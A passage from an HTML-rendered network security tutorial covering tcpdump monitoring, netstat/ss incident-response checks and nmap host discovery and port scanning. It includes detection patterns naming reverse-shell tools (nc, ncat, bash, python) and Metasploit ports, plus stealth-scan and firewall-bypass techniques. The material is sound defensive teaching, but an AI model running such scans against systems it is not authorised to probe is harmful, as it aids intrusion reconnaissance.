    &lt;span class="s2"&gt;"host &lt;/span&gt;&lt;span class="nv"&gt;$SUSPICIOUS_IP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;tee&lt;/span&gt; /var/log/suspicious_traffic.log

&lt;span class="c"&gt;# Detect C2 beaconing (regular interval connections to same IP):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$1 &amp;gt; 5 {print "Possible beacon: "$2" ("$1" connections)"}'&lt;/span&gt;

&lt;span class="c"&gt;# Monitor for data exfiltration (large outbound transfers):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="s1"&gt;'src net 192.168.0.0/16'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{
        split($3, src, ".")
        split($5, dst, ".")
        # Flag if source is internal, dst is external
        if (src[1] != dst[1]) sum[dst[1]"."dst[2]"."dst[3]"."dst[4]] += length($0)
    }
    END {
        for (ip in sum)
            if (sum[ip] &amp;gt; 1000000) print "Large transfer to "ip": "sum[ip]" bytes"
    }'&lt;/span&gt;

&lt;span class="c"&gt;# OT: Monitor Modbus commands (port 502):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-nn&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; port 502 | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"502"&lt;/span&gt;
&lt;span class="c"&gt;# For detailed Modbus analysis: use Wireshark with Modbus dissector&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; tcpdump's strength is its availability and scriptability. On a compromised server during incident response, Wireshark may not be installed — tcpdump almost always is. Knowing how to capture and filter with tcpdump means you can gather evidence from any Unix system regardless of what security tools are installed. The output is standard pcap, readable by Wireshark for deeper analysis later.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Netstat and ss — Connection State Intelligence
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Netstat — The Legacy Connection Inspector
&lt;/h3&gt;

&lt;p&gt;netstat displays network connections, routing tables, interface statistics, masquerade connections, and multicast memberships. While being replaced by &lt;code&gt;ss&lt;/code&gt; on modern Linux, netstat remains ubiquitous (Windows, macOS, older Linux).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;netstat output columns:
  Proto:     Protocol (tcp, udp, tcp6, udp6)
  Recv-Q:    Data queued to receive (waiting for application to read)
  Send-Q:    Data queued to send (waiting for network)
  Local Address:  Local IP:port of the connection
  Foreign Address: Remote IP:port
  State:     TCP state (LISTEN, ESTABLISHED, TIME_WAIT, etc.)
  PID/Program: Process owning the connection (with -p flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux netstat commands:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;          &lt;span class="c"&gt;# TCP+UDP, Listening, Numeric, with Process&lt;/span&gt;
&lt;span class="c"&gt;# -t: TCP connections&lt;/span&gt;
&lt;span class="c"&gt;# -u: UDP connections&lt;/span&gt;
&lt;span class="c"&gt;# -l: Only listening sockets&lt;/span&gt;
&lt;span class="c"&gt;# -n: Numeric (don't resolve names — faster and clearer)&lt;/span&gt;
&lt;span class="c"&gt;# -p: Show process name and PID (requires root for other users' processes)&lt;/span&gt;

netstat &lt;span class="nt"&gt;-tan&lt;/span&gt;            &lt;span class="c"&gt;# All TCP connections, numeric&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt;            &lt;span class="c"&gt;# All connections, numeric, with process&lt;/span&gt;
netstat &lt;span class="nt"&gt;-rn&lt;/span&gt;             &lt;span class="c"&gt;# Routing table, numeric&lt;/span&gt;
netstat &lt;span class="nt"&gt;-i&lt;/span&gt;              &lt;span class="c"&gt;# Interface statistics&lt;/span&gt;
netstat &lt;span class="nt"&gt;-s&lt;/span&gt;              &lt;span class="c"&gt;# Statistics by protocol (errors, drops, etc.)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-c&lt;/span&gt; 2            &lt;span class="c"&gt;# Refresh every 2 seconds (continuous)&lt;/span&gt;

&lt;span class="c"&gt;# Useful patterns:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;LISTEN                        &lt;span class="c"&gt;# All listening services&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED                  &lt;span class="c"&gt;# Active connections&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; :4444                        &lt;span class="c"&gt;# Metasploit default port&lt;/span&gt;
netstat &lt;span class="nt"&gt;-anp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'0.0.0.0:*'&lt;/span&gt;                 &lt;span class="c"&gt;# Services exposed on all interfaces&lt;/span&gt;

&lt;span class="c"&gt;# Windows netstat:&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt;             &lt;span class="c"&gt;# All connections, numeric, with PID&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr :3389   &lt;span class="c"&gt;# RDP connections&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr LISTENING  &lt;span class="c"&gt;# All listening ports&lt;/span&gt;
netstat &lt;span class="nt"&gt;-b&lt;/span&gt;               &lt;span class="c"&gt;# Show owning executable (requires admin)&lt;/span&gt;
netstat &lt;span class="nt"&gt;-r&lt;/span&gt;               &lt;span class="c"&gt;# Routing table&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 ss — The Modern Replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ss&lt;/code&gt; (Socket Statistics) is faster than netstat, provides more information, and is the current standard on modern Linux. It reads from the kernel's netlink socket rather than /proc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ss commands:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;               &lt;span class="c"&gt;# Same as netstat equivalent&lt;/span&gt;
&lt;span class="c"&gt;# -t: TCP&lt;/span&gt;
&lt;span class="c"&gt;# -u: UDP&lt;/span&gt;
&lt;span class="c"&gt;# -l: Listening&lt;/span&gt;
&lt;span class="c"&gt;# -n: Numeric&lt;/span&gt;
&lt;span class="c"&gt;# -p: Process info&lt;/span&gt;

ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established  &lt;span class="c"&gt;# Only established TCP connections&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state time-wait    &lt;span class="c"&gt;# TIME_WAIT connections (post-close)&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state syn-recv     &lt;span class="c"&gt;# SYN_RECV (half-open, potential SYN flood indicator)&lt;/span&gt;
ss &lt;span class="nt"&gt;-s&lt;/span&gt;                      &lt;span class="c"&gt;# Summary statistics&lt;/span&gt;
ss &lt;span class="nt"&gt;-4&lt;/span&gt;                      &lt;span class="c"&gt;# IPv4 only&lt;/span&gt;
ss &lt;span class="nt"&gt;-6&lt;/span&gt;                      &lt;span class="c"&gt;# IPv6 only&lt;/span&gt;

&lt;span class="c"&gt;# Filtering (more powerful than netstat):&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; dst 192.168.1.100      &lt;span class="c"&gt;# Connections TO this IP&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; src 192.168.1.5        &lt;span class="c"&gt;# Connections FROM this IP&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; dport &lt;span class="o"&gt;==&lt;/span&gt; :443          &lt;span class="c"&gt;# Connections TO port 443&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; sport &lt;span class="o"&gt;==&lt;/span&gt; :22           &lt;span class="c"&gt;# Connections FROM port 22&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; &lt;span class="s1"&gt;'dst 192.168.1.0/24'&lt;/span&gt;  &lt;span class="c"&gt;# All connections to subnet&lt;/span&gt;

&lt;span class="c"&gt;# Advanced ss usage:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {print $5}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt;
&lt;span class="c"&gt;# Count connections per remote IP — detect port scan or DDoS source&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Security Analysis with Netstat/ss
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ============ INCIDENT RESPONSE CHECKLIST ============&lt;/span&gt;
&lt;span class="c"&gt;# Run these immediately on a suspected compromised system:&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== LISTENING SERVICES ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;span class="c"&gt;# Look for: unexpected listening services, non-standard ports, unusual processes&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== ESTABLISHED CONNECTIONS ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; netstat &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED
&lt;span class="c"&gt;# Look for: connections to unexpected external IPs, encrypted channels on unusual ports&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== UNUSUAL PORTS ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-vE&lt;/span&gt; &lt;span class="s2"&gt;":22|:80|:443|:53|:3306|:5432"&lt;/span&gt;  &lt;span class="c"&gt;# Show non-common ports&lt;/span&gt;
&lt;span class="c"&gt;# Look for: reverse shells (4444, 5555, common Metasploit ports)&lt;/span&gt;
&lt;span class="c"&gt;#           C2 channels (any port to external IPs)&lt;/span&gt;
&lt;span class="c"&gt;#           Pivoting (unexpected internal connections)&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== CONNECTION COUNTS BY REMOTE IP ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tn&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR&amp;gt;1 {split($5,a,":"); print a[1]}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# High count from same IP = port scan or C2 beaconing&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== PROCESSES WITH NETWORK ACTIVITY ==="&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s1"&gt;'pid=[0-9]+'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;pid&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;pid_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;#pid=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;
    &lt;span class="nv"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&lt;span class="nv"&gt;$pid_num&lt;/span&gt;/cmdline 2&amp;gt;/dev/null | &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="s1"&gt;'\0'&lt;/span&gt; &lt;span class="s1"&gt;' '&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PID &lt;/span&gt;&lt;span class="nv"&gt;$pid_num&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="nv"&gt;$proc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Match processes to their network activity — unexpected process making connections = suspicious&lt;/span&gt;

&lt;span class="c"&gt;# ============ DETECT REVERSE SHELLS ============&lt;/span&gt;
&lt;span class="c"&gt;# Reverse shells often appear as: sh/bash/python/perl connecting outbound&lt;/span&gt;
&lt;span class="c"&gt;# Look for shell processes with established outbound connections:&lt;/span&gt;
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; state established | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"bash|sh|python|perl|ruby|nc|ncat|netcat"&lt;/span&gt;

&lt;span class="c"&gt;# Detect bind shells (listening shells):&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"bash|sh|python|perl|nc|ncat"&lt;/span&gt;

&lt;span class="c"&gt;# ============ DETECT PORT SCANNING ============&lt;/span&gt;
&lt;span class="c"&gt;# Short-lived connections in TIME_WAIT = scanner was here&lt;/span&gt;
ss &lt;span class="nt"&gt;-tn&lt;/span&gt; state time-wait | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $4}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: &lt;span class="nt"&gt;-f1&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;span class="c"&gt;# Many TIME_WAIT connections from same source = port scanner&lt;/span&gt;

&lt;span class="c"&gt;# ============ WINDOWS SPECIFIC ============&lt;/span&gt;
&lt;span class="c"&gt;# Find processes behind suspicious connections (Windows):&lt;/span&gt;
netstat &lt;span class="nt"&gt;-ano&lt;/span&gt; | findstr :4444
tasklist /fi &lt;span class="s2"&gt;"pid eq 1234"&lt;/span&gt;         &lt;span class="c"&gt;# Replace 1234 with PID from netstat&lt;/span&gt;
&lt;span class="c"&gt;# Correlate PID to process name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Connection States Reference:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TCP Connection States and Security Meaning:

LISTEN:      Server waiting for connections. Normal for services.
             Unexpected listening ports = potential backdoor

ESTABLISHED: Active data transfer. Normal.
             Unexpected external ESTABLISHED = possible compromise

SYN_SENT:    Client initiated connection, waiting for SYN-ACK
             Many SYN_SENT to different ports = you are port scanning
             Many SYN_SENT to different IPs = lateral movement or malware

SYN_RECV:    SYN received, SYN-ACK sent, waiting for ACK
             Many SYN_RECV = you are being SYN flooded (DDoS)

FIN_WAIT_1:  Sent FIN, waiting for ACK (normal close)
FIN_WAIT_2:  Got ACK, waiting for remote FIN (normal close)
CLOSE_WAIT:  Remote sent FIN, application hasn't closed yet
             Many CLOSE_WAIT = application bug (not closing sockets properly)

TIME_WAIT:   Both FINs acknowledged, waiting for stragglers
             Many TIME_WAIT = heavily used server or recent scanning activity

CLOSED:      Connection fully terminated (not usually shown)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; A compromised machine almost always has evidence in its connection table — a reverse shell process with an outbound ESTABLISHED connection, an unexpected LISTENING port for a backdoor, or unusual processes associated with network connections. The netstat/ss output is one of the first things to examine in any suspected compromise. Baseline normal connection state and know what processes should be listening — any deviation is a finding.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Nmap — The Network Mapper
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Nmap Architecture and Scan Types
&lt;/h3&gt;

&lt;p&gt;Nmap (Network Mapper) is the industry-standard tool for network discovery and security auditing. It sends specially crafted packets and analyses responses to determine which hosts are available, what services they run, what operating system they use, and other security-relevant information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap Scan Types — From Stealthy to Noisy:

Stealthiness:
  Most Stealthy                                              Most Noisy
  ────────────────────────────────────────────────────────────────
  Idle  FIN  NULL XMAS ACK  SYN(Half) Connect  Version  Script  Agressive
  Scan  Scan Scan Scan Scan    Scan     Scan     Scan     Scan    Scan

Detection likelihood:
  Idle scan: virtually undetectable (uses zombie host)
  SYN scan: unlikely to be logged by target (half-open, no connection)
  Connect scan: logged by target (full connection established)
  Version scan: logged + leaves evidence of probe traffic
  Aggressive: loud, generates many entries in logs and IDS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Host Discovery
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Host discovery — determine which hosts are alive before port scanning&lt;/span&gt;

&lt;span class="c"&gt;# ICMP echo (ping sweep) — default if not root:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24
&lt;span class="c"&gt;# -sn: skip port scan (ping only)&lt;/span&gt;
&lt;span class="c"&gt;# Uses: ICMP echo, TCP SYN to 443, TCP ACK to 80, ICMP timestamp&lt;/span&gt;

&lt;span class="c"&gt;# ICMP only (root required):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP echo request&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP timestamp request (bypasses some firewalls)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ICMP address mask request&lt;/span&gt;

&lt;span class="c"&gt;# TCP SYN discovery (no port scan):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PS22&lt;/span&gt;,80,443,3389 192.168.1.0/24  &lt;span class="c"&gt;# Send SYN to these ports&lt;/span&gt;
&lt;span class="c"&gt;# Hosts that respond = alive (even if they RST — they're up)&lt;/span&gt;

&lt;span class="c"&gt;# UDP discovery:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PU53&lt;/span&gt;,161,137 192.168.1.0/24  &lt;span class="c"&gt;# UDP probe&lt;/span&gt;

&lt;span class="c"&gt;# ARP discovery (fastest on local network):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PR&lt;/span&gt; 192.168.1.0/24  &lt;span class="c"&gt;# ARP (only works on same subnet)&lt;/span&gt;

&lt;span class="c"&gt;# No ping (scan even if host appears down — useful for firewalled hosts):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-Pn&lt;/span&gt; 192.168.1.100       &lt;span class="c"&gt;# Skip host discovery, scan directly&lt;/span&gt;

&lt;span class="c"&gt;# Large network scanning with timing:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--min-parallelism&lt;/span&gt; 100 10.0.0.0/8  &lt;span class="c"&gt;# Fast scan of Class A&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;--max-rtt-timeout&lt;/span&gt; 200ms &lt;span class="nt"&gt;--min-hosts&lt;/span&gt; 4096 192.168.0.0/16

&lt;span class="c"&gt;# Exclude specific hosts from scan:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;--exclude&lt;/span&gt; 192.168.1.1  &lt;span class="c"&gt;# Skip router&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;--excludefile&lt;/span&gt; critical_hosts.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Port Scanning Techniques
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SYN Scan — default when running as root (half-open scan):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Sends SYN, waits for SYN-ACK (open) or RST (closed)&lt;/span&gt;
&lt;span class="c"&gt;# Never completes TCP handshake → fewer logs on target&lt;/span&gt;
&lt;span class="c"&gt;# Open: received SYN-ACK, sent RST&lt;/span&gt;
&lt;span class="c"&gt;# Closed: received RST&lt;/span&gt;
&lt;span class="c"&gt;# Filtered: no response or ICMP unreachable&lt;/span&gt;

&lt;span class="c"&gt;# TCP Connect Scan — default without root (full connection):&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Completes full TCP handshake&lt;/span&gt;
&lt;span class="c"&gt;# Generates connection logs on target&lt;/span&gt;
&lt;span class="c"&gt;# Works without raw socket privileges&lt;/span&gt;

&lt;span class="c"&gt;# UDP Scan:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; 192.168.1.100
&lt;span class="c"&gt;# Sends UDP probe to each port&lt;/span&gt;
&lt;span class="c"&gt;# Open: receives UDP response (rare — most UDP services don't respond to probes)&lt;/span&gt;
&lt;span class="c"&gt;# Closed: receives ICMP port unreachable&lt;/span&gt;
&lt;span class="c"&gt;# Filtered: no response (or ICMP admin prohibited)&lt;/span&gt;
&lt;span class="c"&gt;# Open|Filtered: no response (could be open or filtered — can't tell)&lt;/span&gt;
&lt;span class="c"&gt;# SLOW: waiting for ICMP responses + rate limiting&lt;/span&gt;

&lt;span class="c"&gt;# Port specification:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 80         &lt;span class="c"&gt;# Single port&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443,22  &lt;span class="c"&gt;# Multiple ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 1-1024     &lt;span class="c"&gt;# Port range&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p-&lt;/span&gt;           &lt;span class="c"&gt;# All 65535 ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; U:53,T:22  &lt;span class="c"&gt;# UDP 53 and TCP 22&lt;/span&gt;

&lt;span class="c"&gt;# Top ports scan (common ports first):&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 100    &lt;span class="c"&gt;# Scan 100 most common ports&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.100 &lt;span class="nt"&gt;--top-ports&lt;/span&gt; 1000   &lt;span class="c"&gt;# Top 1000 (faster than -p-)&lt;/span&gt;

&lt;span class="c"&gt;# Fast scan:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; 192.168.1.100             &lt;span class="c"&gt;# -F = fast (top 100 ports only)&lt;/span&gt;

&lt;span class="c"&gt;# Version detection:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.100                &lt;span class="c"&gt;# Detect service versions&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--version-intensity&lt;/span&gt; 5        &lt;span class="c"&gt;# Intensity 0-9 (0=light, 9=all probes)&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--version-all&lt;/span&gt;                &lt;span class="c"&gt;# Maximum version probing&lt;/span&gt;

&lt;span class="c"&gt;# OS detection:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.100            &lt;span class="c"&gt;# OS fingerprinting&lt;/span&gt;
